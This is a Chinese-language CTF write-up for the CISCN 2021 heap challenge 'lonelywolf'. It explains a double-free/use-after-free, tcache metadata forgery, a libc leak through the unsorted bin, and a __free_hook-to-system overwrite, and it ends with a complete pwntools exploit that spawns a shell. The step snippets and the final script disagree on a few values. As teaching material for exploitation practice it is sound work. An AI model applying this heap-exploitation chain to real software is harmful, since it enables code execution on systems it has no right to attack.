[CISCN 2021 初赛]lonelywolf
题目地址:[CISCN 2021 初赛]lonelywolf | NSSCTF
参照:https://nuoye-blog.github.io/2021/05/16/466a7375/
思路:
先看tcache结构,伪造一个0x91的chunk,为找0x91chunk的数量,再将其释放free进入unsortedbin来泄漏main_arena地址。
题目分析:
只能控制一个堆index只能位0,add函数,限制了不能申请大小为0x90的chunk:
delete函数,heap指针没有清0,存在double free:
edit函数,结合free函数,存在UAF漏洞,释放chunk后还能往里面写参数(可以修改next的值):
show函数,同样存在UAF漏洞,可以打印释放后的chunk中的内容:
利用:
先申请一个大小为0x80的chunk,再double free泄漏tcache的基地址:
# 泄漏tcache的基地址 add(0x78) free() edit(p64(0)*2) #绕过double free的检查 free() show() p.recvuntil(b"Content: ") tcache = (u64(p.recv(6).ljust(8,b'\x00'))&0xfffffffff000) success("tcache==>"+hex(tcache))
修改chunk0x80的next指针,指向tcache+0x10的位置,然后两个申请得到tcache chunk0x251:
# 修改tcachebin的next指针,指向tcache的基地址+0x10 payload = p64(tcache+0x10) edit(payload) add(0x78) add(0x78) #申请得到tcache
伪造0x90chunk的数量,伪造0x80chunk的next地址指向tcache+0x260(后续用来伪装成0x90chunk),伪造0x70的next地址指向tcache+0x250(0x80的上面)(后续用来更改0x80chunk的size字段值):
payload = b"\x00"*0x5+b'\x01'+b'\x01'+b"\x08"+p64(0)*(7+4)+p64(tcache+0x250)*2+p64(tcache+0x260) edit(payload)
修改上面0x80chunk的size字段为0x91(伪造0x90大小的chunk),再申请一个小chunk将伪造的0x90chunk与topchunk隔开:
add(0x68) #0x70 修改0x80chunk的size字段 payload = p64(0)+p64(0x91)+p64(0) edit(payload) add(0x38) #将伪造的0x90chunk与TOP隔开 edit(b'\x00'*0x8+p64(0x31)) #由于前面申请的0x40chunk会在伪造的0x90chunk的数据域内部,所以在后面额外加上0x41的数据域大小
不加 edit(b’\x00’*0x8+p64(0x31)):(必须是0x40+0x30或者0x30+0x20,不然会报错)
加上 edit(b’\x00’*0x8+p64(0x31)):
申请0x80chunk(实际上申请的时0x90chunk),然后释放活得main_arena中的地址:
add(0x78) #表面上申请0x80chunk,实际上申请的时0x90chunk free() show() addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00')) success("main_arena_unsortbin_addr==>"+hex(addr)) main_arena_offset = libc.symbols["__malloc_hook"]+0x10 success("main_arena_offset==>"+hex(main_arena_offset)) libc_base = addr-(main_arena_offset+0x60) success("libc_addr==>"+hex(libc_base))
再申请0x40的chunk,释放后修改其next指针指向**__free_hook-0x8**地址(因为tcache在申请时不检查size字段,所以不用看__free_hook-0x8前面的size字段值):
system_addr = libc_base+libc.sym["system"] free_hook_addr = libc_base+libc.sym["__free_hook"] success("system_addr==>"+hex(system_addr)) success("free_hook_addr==>"+hex(free_hook_addr)) add(0x28) free() payload = p64(free_hook_addr-8) edit(payload)
两次申请后得到该地址,再向该地址写入 b"/bin/sh\x00"+p64(system_addr),最后free执行system(“/bi/sh”):
add(0x28) add(0x28) payload = b'/bin/sh\x00'+p64(system_addr) edit(payload) free()
完整EXP:
from pwn import * from LibcSearcher import * context(os='linux', arch='amd64', log_level='debug') # p = remote("node4.anna.nssctf.cn",28516) p = process("./pwn") libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') elf = ELF("./pwn") n2b = lambda x : str(x).encode() rv = lambda x : p.recv(x) ru = lambda s : p.recvuntil(s) sd = lambda s : p.send(s) sl = lambda s : p.sendline(s) sn = lambda s : sl(n2b(n)) sa = lambda t, s : p.sendafter(t, s) sla = lambda t, s : p.sendlineafter(t, s) sna = lambda t, n : sla(t, n2b(n)) ia = lambda : p.interactive() rop = lambda r : flat([p64(x) for x in r]) def add(size): sla(b'choice:',b'1') sla(b':',str(0)) sla(b':',str(size)) def edit(content): sla(b':',b'2') sla(b':',b'0') sla(b':',content) def show(): p.sendlineafter(b':',b'3') p.sendlineafter(b':',b"0") def free(): sla(b': ',b'4') sla(b': ',b'0') # 泄漏tcache的基地址 add(0x78) free() edit(p64(0)*2) free() show() p.recvuntil(b"Content: ") tcache = (u64(p.recv(6).ljust(8,b'\x00'))&0xfffffffff000) success("tcache==>"+hex(tcache)) # 修改tcachebin的next指针,指向tcache的基地址+0x10 payload = p64(tcache+0x10) edit(payload) add(0x78) add(0x78) #申请得到tcache payload = b"\x00"*0x5+b'\x01'+b'\x01'+b"\x08"+p64(0)*(7+4)+p64(tcache+0x250)*2+p64(tcache+0x260) edit(payload) add(0x68) #0x70 修改0x80chunk的size字段 payload = p64(0)+p64(0x91)+p64(0) edit(payload) add(0x38) #将伪造的0x90chunk与TOP隔开 edit(b'\x00'*0x8+p64(0x41)) add(0x78) #表面上申请0x80chunk,实际上申请的时0x90chunk free() show() addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00')) success("main_arena_unsortbin_addr==>"+hex(addr)) main_arena_offset = libc.symbols["__malloc_hook"]+0x10 success("main_arena_offset==>"+hex(main_arena_offset)) libc_base = addr-(main_arena_offset+0x60) success("libc_addr==>"+hex(libc_base)) system_addr = libc_base+libc.sym["system"] free_hook_addr = libc_base+libc.sym["__free_hook"] success("system_addr==>"+hex(system_addr)) success("free_hook_addr==>"+hex(free_hook_addr)) add(0x38) free() payload = p64(free_hook_addr-8) edit(payload) add(0x38) add(0x38) payload = b'/bin/sh\x00'+p64(system_addr) edit(payload) free() p.sendline(b"cat flag") p.interactive()
成功拿到本地flag: